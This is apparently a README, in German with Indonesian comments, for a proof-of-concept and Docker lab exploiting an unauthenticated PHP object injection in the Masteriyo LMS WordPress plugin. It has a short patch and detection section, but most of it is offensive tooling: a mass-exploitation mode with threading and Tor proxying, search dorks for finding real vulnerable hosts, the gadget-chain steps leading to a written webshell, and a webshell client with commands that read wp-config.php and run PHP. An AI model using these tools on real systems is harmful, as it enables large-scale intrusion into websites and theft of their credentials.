
PoC und Docker-Lab für CVE-2026-124990: nicht authentifizierte PHP-Objektinjektion in Masteriyo LMS <= 3.5.1, die zu Dateischreiben und RCE führt, mit Payload-Generator und Webshell-Client.
Nicht authentifizierte PHP-Objektinjektion im Masteriyo LMS-Kursimporter (Parameter file) führt zu beliebigem Dateischreiben und Remote-Codeausführung. Laborverifiziert von Anfang bis Ende: uid=<UID>(www-data) aus einem sauberen WordPress ohne Anmeldedaten.
learning-management-system <= 3.5.1 · Behoben: 3.5.2# menu (jalur utama)
python3 poc.py
# satu target
python3 poc.py -u https://target # detect saja
python3 poc.py -u https://target --exploit # sampai RCE
# massal
python3 poc.py -l targets.txt --exploit --threads 20 --delay 0.3
Menü: 1 Einzel-Scan · 2 Einzel-Exploit · 3 Massen-Scan · 4 Massen-Exploit · 0 keluar.
Optionale Flags: -U/-P verwenden vorhandene Anmeldedaten (Self-Register überspringen),
--proxy socks5h://127.0.0.1:9050, --timeout 60, --strict, --quiet,
--output out.
Ausgabe: out/results.jsonl (eine Zeile pro Ziel, flush+fsync) und
out/success.txt (eine Zeile pro Shell).
| Tag | Bedeutung |
|---|---|
[SHELL] | OUTCOME_REACHED — Webshell aktiv, id ausgelesen |
[RCE] | Ausführung verifiziert |
[VULN] | Trigger verifiziert, Ergebnis noch ausstehend |
[PATCHED] | Version >= 3.5.2 (aus readme.txt), bevor Payload gesendet wurde |
[BLOCKED] | Endpoint lehnt ab (401/403/WAF) |
[SKIP] | kein Ziel / Plugin nicht vorhanden |
[ASSUMED] | Signal vorhanden, aber kein Ausführungsnachweis |
[ERR] | operativer Fehler |
[masteriyo_instructor_registration]. Sende das Formular ohne Passwortfeld → der Server
generiert ein Passwort → der Benutzer masteriyo_instructor hat den Status ACTIVE und wird sofort
eingeloggt (Cookie wordpress_logged_in)./wp-admin/admin-ajax.php?action=rest-nonce oder Dashboard).masteriyo/v1/courses/import mit JSON, das postmeta = serialisiertes
GuzzleHttp\Cookie\FileCookieJar enthält.CourseImporter::set_post_metas() → maybe_unserialize() → __destruct() →
file_put_contents() schreibt PHP in wp-content/uploads/masteriyo/.?c=<base64 cmd> → uid=<UID>(www-data).Vollständige Details + Patch-Analyse: notes/root-cause.md.
poc.py tool utama (menu + flag)
tools/masteriyo_payload.py generator payload (gadget FileCookieJar, varian s:/S:)
lab/docker-compose.yml lab rentan (WP + MySQL + Masteriyo 3.5.1) port 8280
lab/docker-compose.patched.yml kontrol negatif (3.5.2) port 8281
src/x3.5.1, src/x3.5.2 source tree untuk diff
notes/root-cause.md analisa root cause, sink coverage, kontrol negatif
CVE-2026-124990-report.md laporan
Vollständige Reproduktion von Grund auf — drei Schritte:
cd lab
./setup/download-plugins.sh # unduh Masteriyo 3.5.1 (rentan) + 3.5.2 (patched) dari wp.org
docker compose -p m124990 -f docker-compose.yml up -d # rentan, :8280
docker compose -p m124990p -f docker-compose.patched.yml up -d # patched, :8281
./setup/provision.sh . m124990 8280 # WP install + plugin aktif + halaman registrasi
./setup/provision.sh . m124990p 8281 # idem untuk kontrol negatif
Muss sich mit -p unterscheiden: Beide Dateien verwenden denselben Service-Namen; ohne -p würde Compose
die Container des anderen Projekts entfernen.
provision.sh setzt die tatsächlichen Exploit-Voraussetzungen:
masteriyo_settings.general.registration.enable_instructor_registration=true,
accounts_page.display.enable_instructor_apply=true,
masteriyo_registration_is_generate_password=yes, plus die Seiten
instructor-registration (Shortcode [masteriyo_instructor_registration])
und account.
Test:
python3 poc.py -u http://127.0.0.1:8280 --exploit # -> [SHELL]
python3 poc.py -u http://127.0.0.1:8281 --exploit # -> [PATCHED]
3.5.1 (vulnerable) [SHELL] uid=<UID>(www-data) 3/3 run berturut-turut
3.5.2 (patched) [PATCHED] version 3.5.2 tidak ada file, tidak ada shell
Import von 3.5.2 antwortet weiterhin mit {"status":"completed"} — ein erfolgreicher Import ist kein Beweis.
Beweis ist nur: geschriebene Datei + Marker pro Versuch + lesbare id.
Update auf 3.5.2+. Falls noch nicht möglich: deaktiviere
general.registration.enable_instructor_registration und beschränke die Instructor-Registrierung
auf manuell freigegebene Rollen (lass nicht zu, dass Selbstregistrierung einen aktiven Instructor
erzeugt). Erkennung: POST an masteriyo/v1/courses/import mit einem Body, der
O:31:"GuzzleHttp\Cookie\FileCookieJar" enthält.
Misst, wie viele Hosts aus den Dorks tatsächlich RCE-Kandidaten sind — ohne Payload zu senden.
python3 tools/funnel.py # menu 1/2/3/4/0
python3 tools/funnel.py -u https://site.tld
python3 tools/funnel.py -i hosts.txt --threads 20 --json out.json
Stufe: reachable → plugin → Version <3.5.2 → REST → Registrierungsseite+Nonce
→ HIGH_HIT. Urteil: HIGH_HIT VULN PATCHED ASSUMED PRO_ONLY NOT_FOUND BLOCKED ERR.
Dork + Populationszahlen: notes/fofa-dorks-and-hitrate.md.
Das Passwort wird nicht über die URL gesendet. Die Shell erwartet ein POST mit dem Feld p:
# manual, tanpa tool
curl -sk -c /tmp/ck -b /tmp/ck -d 'p=PASSWORD' 'URL_SHELL' # login (set cookie sesi)
curl -sk -c /tmp/ck -b /tmp/ck 'URL_SHELL' # identitas
curl -sk -c /tmp/ck -b /tmp/ck 'URL_SHELL?ls=1&d=/srv/htdocs' # daftar berkas
curl -sk -c /tmp/ck -b /tmp/ck 'URL_SHELL?read=wp-config.php' # baca berkas
# eksekusi kode PHP (base64 dari kode):
curl -sk -c /tmp/ck -b /tmp/ck "URL_SHELL?php=$(printf 'echo PHP_VERSION;' | base64 -w0)"
GET ohne Login antwortet nur mit 0xfay-auth — das ist normal, keine kaputte Shell.
Einsatzbereiter Client (ohne Argumente = Menü):
python3 tools/ws-client.py # menu 1-6
python3 tools/ws-client.py -u URL -p PASS # identitas
python3 tools/ws-client.py -u URL -p PASS --ls /srv/htdocs
python3 tools/ws-client.py -u URL -p PASS --read wp-config.php
python3 tools/ws-client.py -u URL -p PASS --get readme.txt # download
python3 tools/ws-client.py -u URL -p PASS --php 'echo PHP_VERSION;'
python3 tools/ws-client.py -u URL -p PASS # shell interaktif
Die letzte URL + das Passwort sind in work/SHELL-FINAL.txt gespeichert; das Menü liest sie
automatisch. Um das Ziel zu ändern, geben Sie es bei Aufforderung manuell ein.
Wichtiger Hinweis zu diesem Ziel: Die Sandbox blockiert fork, daher sind OS-Befehle leer.
Verwenden Sie --php (PHP eval) oder --ls/--read, nicht cmd/system.
python3 poc.py --cmd 'echo PHP_VERSION;' # pakai shell tersimpan
python3 poc.py --shell URL --shell-pass PASS # identitas
python3 poc.py --shell URL --shell-pass PASS --cmd '<php>' # satu perintah
python3 poc.py # menu -> 5 = shell console
Menüoption 5 öffnet eine Konsole: URL auswählen (oder Enter drücken, um die
gespeicherte zu verwenden), dann PHP-Code direkt eingeben, !ls <dir>, !read <berkas>, :quit.